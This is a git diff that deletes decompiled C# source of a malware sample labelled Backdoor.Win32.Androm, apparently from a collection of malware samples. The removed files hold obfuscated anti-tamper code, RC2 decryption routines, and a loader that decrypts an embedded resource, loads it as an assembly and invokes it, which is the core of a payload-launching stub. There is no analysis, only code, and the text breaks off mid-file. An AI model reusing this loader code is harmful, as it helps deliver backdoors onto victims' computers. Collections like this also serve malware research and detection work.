a/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/_0003 .cs +++ /dev/null @@ -1,200 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:   -// Assembly: mlw, Version=5.4.2.6, Culture=neutral, PublicKeyToken=null -// MVID: 968ED84C-4CC9-4699-A4B5-2702B06E186C -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267.exe - -using System; -using System.Collections.Generic; -using System.Diagnostics; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Text; - -internal static class \u0003\u2000 -{ - private static \u0003\u2000.\u0002\u2005\u2000\u2009\u2007\u2003\u2003\u2001\u2001\u2009\u2005\u2004 \u0002 = new \u0003\u2000.\u0002\u2005\u2000\u2009\u2007\u2003\u2003\u2001\u2001\u2009\u2005\u2004(); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static long \u0002() - { - if ((object) Assembly.GetCallingAssembly() != (object) typeof (\u0003\u2000).Assembly || !\u0003\u2000.\u0002()) - return 0; - lock (\u0003\u2000.\u0002) - { - long num1 = \u0003\u2000.\u0002.\u0002(); - if (num1 == 0L) - { - Assembly executingAssembly = Assembly.GetExecutingAssembly(); - List byteList = new List(); - AssemblyName assemblyName; - try - { - assemblyName = executingAssembly.GetName(); - } - catch - { - assemblyName = new AssemblyName(executingAssembly.FullName); - } - byte[] collection = assemblyName.GetPublicKeyToken(); - if (collection != null && collection.Length == 0) - collection = (byte[]) null; - if (collection != null) - byteList.AddRange((IEnumerable) collection); - byteList.AddRange((IEnumerable) Encoding.Unicode.GetBytes(assemblyName.Name)); - int num2 = \u0003\u2000.\u0002(typeof (\u0003\u2000)); - int num3 = \u0003\u2000.\u0005\u2004\u2005\u2009\u2004\u2009\u2001\u2004\u2000\u2002\u2001\u2003\u2000\u2000\u2003.\u0002(); - byteList.Add((byte) (num2 >> 24)); - byteList.Add((byte) (num3 >> 16)); - byteList.Add((byte) (num2 >> 8)); - byteList.Add((byte) num3); - byteList.Add((byte) (num2 >> 16)); - byteList.Add((byte) (num3 >> 8)); - byteList.Add((byte) num2); - byteList.Add((byte) (num3 >> 24)); - int count = byteList.Count; - ulong num4 = 0; - for (int index = 0; index != count; ++index) - { - ulong num5 = num4 + (ulong) byteList[index]; - ulong num6 = num5 + (num5 << 20); - num4 = num6 ^ num6 >> 12; - byteList[index] = (byte) 0; - } - ulong num7 = num4 + (num4 << 6); - ulong num8 = num7 ^ num7 >> 22; - num1 = (long) (num8 + (num8 << 30)) ^ -7864757161471127688L; - \u0003\u2000.\u0002.\u0002(num1); - } - return num1; - } - } - - [MethodImpl(MethodImplOptions.NoInlining)] - private static bool \u0002() => \u0003\u2000.\u0003(); - - [MethodImpl(MethodImplOptions.NoInlining)] - private static bool \u0003() - { - StackFrame frame = new StackTrace().GetFrame(3); - MethodBase methodBase = frame == null ? (MethodBase) null : frame.GetMethod(); - Type type = (object) methodBase == null ? (Type) null : methodBase.DeclaringType; - return (object) type != (object) typeof (RuntimeMethodHandle) && (object) type != null && (object) type.Assembly == (object) typeof (\u0003\u2000).Assembly; - } - - private static int \u0002(Type _param0) => _param0.MetadataToken; - - private sealed class \u0006\u2002\u2005\u200A​\u2006\u2004\u2006\u2007\u2000\u2008\u2005\u2006\u2004\u2000\u2007\u200A\u2005\u2008\u2008 - { - [MethodImpl(MethodImplOptions.NoInlining)] - internal static int \u0002() => \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0003(\u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0003(\u0003\u2000.\u0002\u2008\u2005\u2004\u2001​\u2006\u2002\u2001\u2004​\u200A\u2000\u2008\u2004.\u0002(), \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0002(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0006\u2002\u2005\u200A​\u2006\u2004\u2006\u2007\u2000\u2008\u2005\u2006\u2004\u2000\u2007\u200A\u2005\u2008\u2008)), \u0003\u2000.\u0005\u2009\u2002\u200A\u2002\u2003\u2009\u2004\u2004\u2003\u2001\u2002\u2000\u200A\u2007​\u2005\u2008\u2006.\u0002())), \u0003\u2000.\u0002(typeof (\u0003\u2000.\u0003\u2004\u2007\u2004\u2001\u2002\u2007\u2006\u2004\u2004\u2002\u2005\u2001\u2001\u200A\u2004​\u2005))); - } - - private static class \u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003 - { - internal static int \u0002(int _param0, int _param1) => _param0 ^ _param1 - -~-~~--~~-540699733; - - internal static int \u0003(int _param0, int _param1) => _param0 - ~--~-~~-~-~1673170882 ^ _param1 + ~--~~-~-~-297411131; - - internal static int \u0005(int _param0, int _param1) => _param0 ^ _param1 - ~--~~-~-~1323644435 ^ _param0 - _param1; - } - - private sealed class \u0005\u2004\u2005\u2009\u2004\u2009\u2001\u2004\u2000\u2002\u2001\u2003\u2000\u2000\u2003 - { - [MethodImpl(MethodImplOptions.NoInlining)] - internal static int \u0002() => \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0005(\u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0003(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0005\u2009\u2002\u200A\u2002\u2003\u2009\u2004\u2004\u2003\u2001\u2002\u2000\u200A\u2007​\u2005\u2008\u2006)), \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0005(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0005\u2004\u2005\u2009\u2004\u2009\u2001\u2004\u2000\u2002\u2001\u2003\u2000\u2000\u2003)), \u0003\u2000.\u0002(typeof (\u0003\u2000.\u0006\u2002\u2005\u200A​\u2006\u2004\u2006\u2007\u2000\u2008\u2005\u2006\u2004\u2000\u2007\u200A\u2005\u2008\u2008)))), \u0003\u2000.\u0003\u2004\u2007\u2004\u2001\u2002\u2007\u2006\u2004\u2004\u2002\u2005\u2001\u2001\u200A\u2004​\u2005.\u0002()); - } - - private sealed class \u0003\u2004\u2007\u2004\u2001\u2002\u2007\u2006\u2004\u2004\u2002\u2005\u2001\u2001\u200A\u2004​\u2005 - { - [MethodImpl(MethodImplOptions.NoInlining)] - internal static int \u0002() => \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0002(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0003\u2004\u2007\u2004\u2001\u2002\u2007\u2006\u2004\u2004\u2002\u2005\u2001\u2001\u200A\u2004​\u2005)), \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0005(\u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0003(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0006\u2002\u2005\u200A​\u2006\u2004\u2006\u2007\u2000\u2008\u2005\u2006\u2004\u2000\u2007\u200A\u2005\u2008\u2008)), \u0003\u2000.\u0002(typeof (\u0003\u2000.\u0005\u2004\u2005\u2009\u2004\u2009\u2001\u2004\u2000\u2002\u2001\u2003\u2000\u2000\u2003))), \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0005(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0002\u2008\u2005\u2004\u2001​\u2006\u2002\u2001\u2004​\u200A\u2000\u2008\u2004)) ^ -~~--~-~-~~1615442953, \u0003\u2000.\u0006\u2002\u2005\u200A​\u2006\u2004\u2006\u2007\u2000\u2008\u2005\u2006\u2004\u2000\u2007\u200A\u2005\u2008\u2008.\u0002()))); - } - - private sealed class \u0002\u2005\u2000\u2009\u2007\u2003\u2003\u2001\u2001\u2009\u2005\u2004 - { - private int \u0002; - private int \u0003; - - internal \u0002\u2005\u2000\u2009\u2007\u2003\u2003\u2001\u2001\u2009\u2005\u2004() => this.\u0002(0L); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal long \u0002() - { - if ((object) Assembly.GetCallingAssembly() != (object) typeof (\u0003\u2000.\u0002\u2005\u2000\u2009\u2007\u2003\u2003\u2001\u2001\u2009\u2005\u2004).Assembly || !\u0003\u2000.\u0002()) - return 2918384; - int[] numArray = new int[4] - { - 0, - 0, - 0, - ~--~~-~-~-2002714090 - }; - numArray[1] = -~-~-~~-~-1606733917; - numArray[2] = ~-~--~~--~~-402418770; - numArray[0] = ~-~--~~-~1686541314; - int num1 = this.\u0002; - int num2 = this.\u0003; - int num3 = -~-~-~~-~1640531528; - int num4 = ~--~~--~-~~957401312; - for (int index = 0; index != 32; ++index) - { - num2 -= (num1 << 4 ^ num1 >> 5) + num1 ^ num4 + numArray[num4 >> 11 & 3]; - num4 -= num3; - num1 -= (num2 << 4 ^ num2 >> 5) + num2 ^ num4 + numArray[num4 & 3]; - } - for (int index = 0; index != 4; ++index) - numArray[index] = 0; - return (long) ((ulong) num2 << 32 | (ulong) (uint) num1); - } - - [MethodImpl(MethodImplOptions.NoInlining)] - internal void \u0002(long _param1) - { - if ((object) Assembly.GetCallingAssembly() != (object) typeof (\u0003\u2000.\u0002\u2005\u2000\u2009\u2007\u2003\u2003\u2001\u2001\u2009\u2005\u2004).Assembly || !\u0003\u2000.\u0002()) - return; - int[] numArray = new int[4] - { - 0, - ~-~--~-~~-~-1606733920, - 0, - 0 - }; - numArray[0] = -~-~-~~-~1686541318; - numArray[2] = -~-~-~~-~-~-402418768; - numArray[3] = -~~-~--~~-~-2002714089; - int num1 = -~~-~-~-~1640531524; - int num2 = (int) _param1; - int num3 = (int) (_param1 >> 32); - int num4 = 0; - for (int index = 0; index != 32; ++index) - { - num2 += (num3 << 4 ^ num3 >> 5) + num3 ^ num4 + numArray[num4 & 3]; - num4 += num1; - num3 += (num2 << 4 ^ num2 >> 5) + num2 ^ num4 + numArray[num4 >> 11 & 3]; - } - for (int index = 0; index != 4; ++index) - numArray[index] = 0; - this.\u0002 = num2; - this.\u0003 = num3; - } - } - - private sealed class \u0002\u2008\u2005\u2004\u2001​\u2006\u2002\u2001\u2004​\u200A\u2000\u2008\u2004 - { - [MethodImpl(MethodImplOptions.NoInlining)] - internal static int \u0002() => \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0005(\u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0002(\u0003\u2000.\u0005\u2009\u2002\u200A\u2002\u2003\u2009\u2004\u2004\u2003\u2001\u2002\u2000\u200A\u2007​\u2005\u2008\u2006.\u0002() ^ -~-~-~~-~-527758445, \u0003\u2000.\u0002(typeof (\u0003\u2000.\u0002​\u2006\u2002\u2002\u2008\u2009\u2009\u2002\u2006\u2000\u2009\u2002\u2009\u2000\u2009\u2007\u2002\u2001​\u2004\u2000\u2009\u2004))), \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0003(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0005\u2004\u2005\u2009\u2004\u2009\u2001\u2004\u2000\u2002\u2001\u2003\u2000\u2000\u2003)) ^ \u0003\u2000.\u0002(typeof (\u0003\u2000.\u0003\u2004\u2007\u2004\u2001\u2002\u2007\u2006\u2004\u2004\u2002\u2005\u2001\u2001\u200A\u2004​\u2005)), -~-~-~~-~-1144099094)); - } - - private sealed class \u0005\u2009\u2002\u200A\u2002\u2003\u2009\u2004\u2004\u2003\u2001\u2002\u2000\u200A\u2007​\u2005\u2008\u2006 - { - [MethodImpl(MethodImplOptions.NoInlining)] - internal static int \u0002() => \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0002(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0002\u2008\u2005\u2004\u2001​\u2006\u2002\u2001\u2004​\u200A\u2000\u2008\u2004)), \u0003\u2000.\u0002(typeof (\u0003\u2000.\u0002​\u2006\u2002\u2002\u2008\u2009\u2009\u2002\u2006\u2000\u2009\u2002\u2009\u2000\u2009\u2007\u2002\u2001​\u2004\u2000\u2009\u2004)) ^ \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0003(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0005\u2009\u2002\u200A\u2002\u2003\u2009\u2004\u2004\u2003\u2001\u2002\u2000\u200A\u2007​\u2005\u2008\u2006)), \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0005(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0003\u2004\u2007\u2004\u2001\u2002\u2007\u2006\u2004\u2004\u2002\u2005\u2001\u2001\u200A\u2004​\u2005)), \u0003\u2000.\u0002​\u2006\u2002\u2002\u2008\u2009\u2009\u2002\u2006\u2000\u2009\u2002\u2009\u2000\u2009\u2007\u2002\u2001​\u2004\u2000\u2009\u2004.\u0002()))); - } - - private sealed class \u0002​\u2006\u2002\u2002\u2008\u2009\u2009\u2002\u2006\u2000\u2009\u2002\u2009\u2000\u2009\u2007\u2002\u2001​\u2004\u2000\u2009\u2004 - { - [MethodImpl(MethodImplOptions.NoInlining)] - internal static int \u0002() => \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0005(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0002​\u2006\u2002\u2002\u2008\u2009\u2009\u2002\u2006\u2000\u2009\u2002\u2009\u2000\u2009\u2007\u2002\u2001​\u2004\u2000\u2009\u2004)), \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0002(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0005\u2004\u2005\u2009\u2004\u2009\u2001\u2004\u2000\u2002\u2001\u2003\u2000\u2000\u2003)), \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0003(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0005\u2009\u2002\u200A\u2002\u2003\u2009\u2004\u2004\u2003\u2001\u2002\u2000\u200A\u2007​\u2005\u2008\u2006)), \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0005(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0002\u2008\u2005\u2004\u2001​\u2006\u2002\u2001\u2004​\u200A\u2000\u2008\u2004)), \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0002(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0006\u2002\u2005\u200A​\u2006\u2004\u2006\u2007\u2000\u2008\u2005\u2006\u2004\u2000\u2007\u200A\u2005\u2008\u2008)), \u0003\u2000.\u0002(typeof (\u0003\u2000.\u0003\u2004\u2007\u2004\u2001\u2002\u2007\u2006\u2004\u2004\u2002\u2005\u2001\u2001\u200A\u2004​\u2005))))))); - } -} diff --git a/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/_0005.cs b/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/_0005.cs deleted file mode 100644 index 71a88fd0..00000000 --- a/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/_0005.cs +++ /dev/null @@ -1,93 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: mlw, Version=5.4.2.6, Culture=neutral, PublicKeyToken=null -// MVID: 968ED84C-4CC9-4699-A4B5-2702B06E186C -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[HideModuleName] -[GeneratedCode("MyTemplate", "8.0.0.0")] -[StandardModule] -internal sealed class \u0005 -{ - private static readonly \u0005.\u0003<\u0003> \u0002 = new \u0005.\u0003<\u0003>(); - private static readonly \u0005.\u0003<\u0002> \u0003 = new \u0005.\u0003<\u0002>(); - private static readonly \u0005.\u0003 \u0005 = new \u0005.\u0003(); - private static readonly \u0005.\u0003<\u0005.\u0002> \u0008 = new \u0005.\u0003<\u0005.\u0002>(); - - [DebuggerHidden] - internal static \u0003 \u0002() => \u0005.\u0002.\u0002(); - - [DebuggerHidden] - internal static \u0002 \u0002() => \u0005.\u0003.\u0002(); - - [DebuggerHidden] - internal static User \u0002() => \u0005.\u0005.\u0002(); - - [DebuggerHidden] - internal static \u0005.\u0002 \u0002() => \u0005.\u0008.\u0002(); - - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class \u0002 - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public \u0002() - { - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override bool Equals(object _param1) => base.Equals(RuntimeHelpers.GetObjectValue(_param1)); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - internal Type \u0002() => typeof (\u0005.\u0002); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T \u0002(T _param0) where T : new() => (object) _param0 == null ? new T() : _param0; - - [DebuggerHidden] - private void \u0003(ref T _param1) => _param1 = default (T); - } - - [ComVisible(false)] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class \u0003<\u0002> where \u0002 : new() - { - [ThreadStatic] - private static \u0002 \u0002; - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public \u0003() - { - } - - [DebuggerHidden] - internal \u0002 \u0002() - { - if ((object) \u0005.\u0003<\u0002>.\u0002 == null) - \u0005.\u0003<\u0002>.\u0002 = new \u0002(); - return \u0005.\u0003<\u0002>.\u0002; - } - } -} diff --git a/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/_0006.cs b/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/_0006.cs deleted file mode 100644 index 769c5045..00000000 --- a/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/_0006.cs +++ /dev/null @@ -1,58 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: mlw, Version=5.4.2.6, Culture=neutral, PublicKeyToken=null -// MVID: 968ED84C-4CC9-4699-A4B5-2702B06E186C -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267.exe - -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Security.Cryptography; -using System.Text; - -[StandardModule] -internal sealed class \u0006 -{ - public static string \u0002(string _param0, string _param1) - { - RC2CryptoServiceProvider cryptoServiceProvider1 = new RC2CryptoServiceProvider(); - MD5CryptoServiceProvider cryptoServiceProvider2 = new MD5CryptoServiceProvider(); - string str; - try - { - byte[] hash = cryptoServiceProvider2.ComputeHash(Encoding.ASCII.GetBytes(_param1)); - cryptoServiceProvider1.Key = hash; - cryptoServiceProvider1.Mode = CipherMode.ECB; - ICryptoTransform decryptor = cryptoServiceProvider1.CreateDecryptor(); - byte[] inputBuffer = Convert.FromBase64String(_param0); - str = Encoding.ASCII.GetString(decryptor.TransformFinalBlock(inputBuffer, 0, inputBuffer.Length)); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - return str; - } - - public static byte[] \u0002(byte[] _param0, string _param1) - { - RC2CryptoServiceProvider cryptoServiceProvider1 = new RC2CryptoServiceProvider(); - MD5CryptoServiceProvider cryptoServiceProvider2 = new MD5CryptoServiceProvider(); - byte[] numArray; - try - { - byte[] hash = cryptoServiceProvider2.ComputeHash(Encoding.ASCII.GetBytes(_param1)); - cryptoServiceProvider1.Key = hash; - cryptoServiceProvider1.Mode = CipherMode.ECB; - ICryptoTransform decryptor = cryptoServiceProvider1.CreateDecryptor(); - byte[] inputBuffer = _param0; - numArray = decryptor.TransformFinalBlock(inputBuffer, 0, inputBuffer.Length); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - return numArray; - } -} diff --git a/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/_0008.cs b/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/_0008.cs deleted file mode 100644 index 00907303..00000000 --- a/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/_0008.cs +++ /dev/null @@ -1,59 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: mlw, Version=5.4.2.6, Culture=neutral, PublicKeyToken=null -// MVID: 968ED84C-4CC9-4699-A4B5-2702B06E186C -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267.exe - -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.IO; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.Serialization.Formatters.Binary; -using System.Threading; - -public sealed class \u0008 -{ - public static byte[] \u0002(object _param0) - { - try - { - MemoryStream serializationStream = new MemoryStream(); - new BinaryFormatter().Serialize((Stream) serializationStream, RuntimeHelpers.GetObjectValue(_param0)); - return serializationStream.ToArray(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - Exception exception = ex; - Console.WriteLine(\u000F.\u0002(580699096), (object) exception.ToString()); - ProjectData.ClearProjectError(); - } - return (byte[]) null; - } - - public static object \u0002() - { - \u000E.\u0006 = \u0006.\u0002((byte[]) NewLateBinding.LateIndexGet(\u000E.\u0002.GetObject(\u000F.\u0002(580699127)), new object[1] - { - (object) 1 - }, (string[]) null), \u000F.\u0002(580699037)); - object obj; - return obj; - } - - [STAThread] - public static void \u0002() - { - Thread.Sleep(0); - \u0008.\u0002(); - Assembly.Load(\u000E.\u0006).GetType(\u0006.\u0002(\u000F.\u0002(580699019), \u000F.\u0002(580699062))).GetMethod(\u0006.\u0002(\u000F.\u0002(580699051), \u000F.\u0002(580698966))).Invoke((object) null, new object[2] - { - (object) \u0006.\u0002((byte[]) NewLateBinding.LateIndexGet(\u000E.\u0002.GetObject(\u000F.\u0002(580699127)), new object[1] - { - (object) 0 - }, (string[]) null), \u000F.\u0002(580698955)), - (object) \u000E.\u0008 - }); - } -} diff --git a/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/_000E.cs b/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/_000E.cs deleted file mode 100644 index 3a395132..00000000 --- a/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/_000E.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: mlw, Version=5.4.2.6, Culture=neutral, PublicKeyToken=null -// MVID: 968ED84C-4CC9-4699-A4B5-2702B06E186C -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267.exe - -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.Win32; -using System.Reflection; -using System.Resources; - -[StandardModule] -internal sealed class \u000E -{ - public static ResourceManager \u0002 = new ResourceManager(\u000F.\u0002(580698993), Assembly.GetExecutingAssembly()); - public static string \u0003 = Assembly.GetExecutingAssembly().GetModules()[0].FullyQualifiedName; - public static RegistryKey \u0005; - public static string \u0008 = \u000E.\u0003; - public static byte[] \u0006; -} diff --git a/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/_000F.cs b/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/_000F.cs deleted file mode 100644 index eaf2bbf8..00000000 --- a/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/_000F.cs +++ /dev/null @@ -1,498 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: mlw, Version=5.4.2.6, Culture=neutral, PublicKeyToken=null -// MVID: 968ED84C-4CC9-4699-A4B5-2702B06E186C -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267.exe - -using System; -using System.Diagnostics; -using System.IO; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Text; - -internal static class \u000F -{ - private static \u000F.\u0006\u2007\u2004\u2001\u2009\u2006\u2008\u200A\u2009\u2003\u2001​\u2004\u2008\u2008\u2005\u2001\u2006\u2005\u2002\u2005\u2005\u2004\u2008 \u0002; - private static \u000F.\u0006\u2004​\u2003\u200A\u2006\u2009\u2001\u2008\u2006\u2007\u2005\u2003\u2001\u2001\u2003​\u2009\u2009\u200A\u2000\u2000\u2003\u2003​\u2006 \u0003; - private static byte[] 